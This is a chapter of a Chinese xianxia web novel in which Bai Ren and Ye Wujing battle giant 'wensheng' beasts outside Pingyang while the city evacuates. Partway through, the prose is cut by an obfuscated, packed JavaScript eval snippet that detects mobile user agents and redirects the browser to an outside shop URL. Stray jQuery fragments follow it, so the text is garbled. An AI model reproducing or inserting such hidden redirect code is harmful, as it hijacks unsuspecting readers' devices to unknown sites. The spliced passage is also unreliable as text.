白仞凝神细细打量着这枚石头,她凑到烛光下,一点点凭借过去的回忆破译。
“我和你说,阿仞,这一横一竖,长短不一的符号就是你们中原人的‘玉’字。”
“还有这个,天上下着雨的……”
故人的音色越来越模糊,渐渐地有些失真,过去太久了,白仞已经有些记不住对方说这话的语气了。
说第一句时,她好像是眉眼弯弯温柔笑着的。那日天晴风暖,阳光洒在她身上,她坐在酒楼窗前回头一笑,格外明媚。
那第二句呢,她当时是什么样的神情?
白仞冥思苦想了半天,才模模糊糊地记得,那日她穿了一件新做好的秋香色衣裳,料子是她夏日里最爱的软烟罗。那颜色格外衬她,显得她肤色白皙。
可再多的细节,她就想不起来了。
故人的音容笑貌终究还是消失在窗外的尘嚣中,取而代之的,是人群中的喧嚷。
“快走啊,别去城东。”
“年轻人听小老头一句劝,那边去不得的啊!”
“那里有怪物,我们快跑!”
白仞推开窗,听到街道上一阵动乱,不少人面上都带着惊慌,拽着亲友跌跌撞撞向西面跑去。
还有人跑进客栈,一家一家地大声吆喝:“诸位快逃!东边儿有怪物来了。”
时至黄昏,天边夕阳落下,晕染了远处连绵的山脉,许多人踮着脚也看不到所谓的“怪物”。
但鬼的视力极好,一眼就望到了山脚下的那个庞然大物。
这怪物足有十丈高,四足着地,眼目似云蒙,两耳垂肩,皮厚如城墙,时不时低吼一声,径直挪动着身体向平阳城这个方向来了。
它步伐一迈,便足有十几米长。想必要不了多长时间,便能走进城内了。
白仞心道:不妙,是闻声兽。
闻声兽顾名思义,耳力极佳,据说它们隔上两三百里都能将动静听得一清二楚。与此相对,视力自然会差一些,瞧东西如隔云雾,总是朦朦胧胧盖着一层什么东西似的。
这妖兽极为难缠,堪称刀枪不入,出来一次最往往最起码也要赔上好几十条人命才能制服。
好在它们消化不好,每每猎到食物后足足要睡几十年,个别甚至能睡上百年。是故虽然不好猎杀,但并不常出现在凡间。
今日真是倒霉,碰上一头出来觅食的闻声兽。看个头,应当是这片儿的老大,要杀它,怎么也得废一番功夫。
这动静也把此处的修行者惊了出来。
“师姐,我们去瞧瞧,我倒要看看,城东到底藏着什么东西装神弄鬼?”
空中,一白衣少女御剑飞行,义愤填膺地说道,在她身边,是个打扮看上去更成熟些的蓝衣女子。
白仞只一眼,便评估出二人修为。以她们那将将筑基的修为,去了也只是白搭。
她身形一闪,便来到了廊外。
叶无竟也听到了动静,他长长的睫毛扇了扇,问道:“前辈,你看到城东的是什么妖兽了吗?”
白仞在芥子里摸了半天,终于找到了东西扔给他:“是闻声兽,方才有两个弟子过去了,不知道是哪个门派,你去帮下她们。我去喊简娘。”
叶无竟本能接住,才发现手中物是一把剑。
他怔怔地看向长剑。剑身古朴,泛着银白色光芒,握在手中如寒冰一般,此刻正嗡嗡地响着,仿佛催促他不要磨蹭。
白仞道:“饮虹剑斩过不下十头闻声兽,对付它,这把剑有经验。你且先拿着用。”
叶无竟深深地看了白仞一眼,对她一抱拳:“好。”
走近简娘他们所在的房间,她兄长仍未醒来,白仞走过去,言简意赅道:“城东有闻声兽,你们眼下得离开这里,我可送你们一程。”
她将手指塞进口中,吹起哨子。片刻后,一只仙鹤收起翅膀,单脚站在窗沿。
白仞伸手捏诀,将她兄长移至仙鹤背上。
少女勉强爬到仙鹤背部,她的眼眶还是红肿的,声音带着沙哑:“谢谢仙人,若有来日,我与兄长必将报答救命之恩。”
白仞客气地一点头,不过随手之劳而已,并不把小女孩的话放在心上。她对着仙鹤交代了几句,仙鹤长鸣一声,缭绕天空,拍拍翅膀飞走了。
忽而,她手臂蓦然一痛,那里皮肤完好,此刻却仿佛血流如注般不断地痛。
白仞慢半拍地反应过来,对了,是叶无竟。他们痛感共享,她既未受伤,伤的人便是叶无竟了。
只是按照他的修为,对付那头闻声兽的应当是没问题的,眼下是出了什么意外?
传音过去,却如同石沉大海。
白仞蹙眉,转身走向客栈一楼大堂,告诉掌柜实情,拜托他一一传给这群凡人后,便走出门外,准备赶赴至城东。
谁知一出门,便看到李诗简坐在仙鹤背上并未离去,而是在街上来回飞着,同时拿她那把沙哑的破锣嗓子大声喊着:“有妖兽来了,大家快往城西跑,不要拥挤。”
“有仙人去拦着它们了,我们挨个挨个来,都能出城的!”
众人见她坐在仙鹤背上,那鹤还长长地哀鸣一声,听她命令行事,不由得就从心里信了几分。
本来一些不信怪力乱神的人也难得端正心态对待这件事,见一些人还搀扶着腿脚不便的邻里往外走,也收拾了重要的金银贴身放好,还有人挨家挨户敲门转告着此事。
一时间,城内井然有序,有条不紊地准备着撤离。
纵然平阳因举办集会缘故,人口是平时的两倍之多,此刻几乎无人吵闹,大家全都抓紧时间逃命。
白仞看了一眼,一时说不出是什么滋味,只捏诀在李诗简身上留了一道护身符咒,便赶去城东了。
闻声兽身体庞大,行为却不笨重。
这短短一段时间,它已从山脚走到了城门前不远处。这速度,比起其他兽类,也算是有过之而无不及了。
可就在这段途中,白仞又接连感到身体好几处传来了刺啦啦的疼痛。
她心中奇道,叶无竟是什么样的废物,才能打不过一头闻声兽,他当时和她打架的那个狠劲儿去哪了。
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723022|208757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
等到了现场,她便知道了。
这头闻声兽身后原来还跟着另一头小兽,二者互相守护着对方的背后,堪称攻防兼备,实在是不易下手。
本来它们就皮糙肉厚,这下更是难以靠近。
叶无竟还在拿着饮虹剑苦苦与它们纠缠,意图拖住它们的脚步。他身上血色斑驳,远远看去,几乎和红衣融为一体。
而之前白仞看到的的两个女弟子受了重伤,此刻躺在不远处,看样子估摸着也是出气多进气少。
白仞瞧了一眼叶无竟,见他还勉强撑得住,这才过去探了她们的鼻息,从叶无竟衣衫里掏出一瓶上好的疗伤丹药,掰开她们的嘴喂了下去。
看瓶身应当是尚心炼制的,估计药效不差。
果然这二人没过多久就幽幽转醒。
师妹性情爽朗,她大大咧咧地对白仞行了一礼:“多谢这位仙友。”
师姐更成熟稳重,她撑着剑站起来,介绍了当下情况:“是云天宗的叶仙友吧,这妖兽不知为何竟能截断这附近的传音。还好我与师妹都随身携带宗门信物,受伤前已设法通知了师长,想必门派很快就会派人前来处理。”
听上去,她们师姐妹的宗门应当就在平阳城附近。
白仞点点头,她随口交代道:“你们找个地方躲好。”
说罢便御风而起,抽出软鞭去帮叶无竟了。
饮虹剑见主人来了,愈发卖力,剑影寒光纷沓而至,可也只给这两头妖兽造成浅浅的皮外伤。
白仞心生古怪,但还是按照原计划,停在叶无竟身旁,与他说道:“闻声兽通常都是孤身一人行动,一处山头只会有一头闻声兽,今天这情况不对劲。”
她低声道:“我们速战速决,别和他们墨迹,把你上次对付我的真火拿出来试一试。”
叶无竟迟疑一瞬,点头。
他再次解开禁制,几乎是同一瞬间,白仞身体内也传来了烈火灼烧的痛感。
与那日落崖时一模一样。
她面色越发冷淡,表情更是如同结冰了一般,拒人于千里之外。强忍住发颤的手指,她挥出长鞭,轻而易举地拉开了这两头黏在一起的妖兽。
“出剑!”她喝道。
叶无竟急忙挥出淬着真火的剑意,火浪瞬间围绕在这两头妖兽身边,形成了一个巨大的火圈,将它们死死地困在其中。
他额头冒出细密的汗珠,手背几乎爆出青筋,是白仞给他灌注了不少灵力,才终于拦下妖兽们的联手一击。
终于,这两头妖兽体力不济,庞大身躯轰然倒下,铺天盖地般挡在城池前。
那两个女弟子兴奋地跑过来与他们庆祝,笑道,这下算是让长老们白跑一趟了。
就在她们高兴之极,忽而一片阴影覆盖在头顶,似遮天蔽日般拦在天空上。
抬头去看才发现,竟是一头与方才一模一样的闻声兽。僵硬着挪动目光至那倒下的两头妖兽身后,她们的脸色唰一下就变得苍白。
只见山林里断断续续走出了十几头庞大的身躯。
全部,全部都是闻声兽。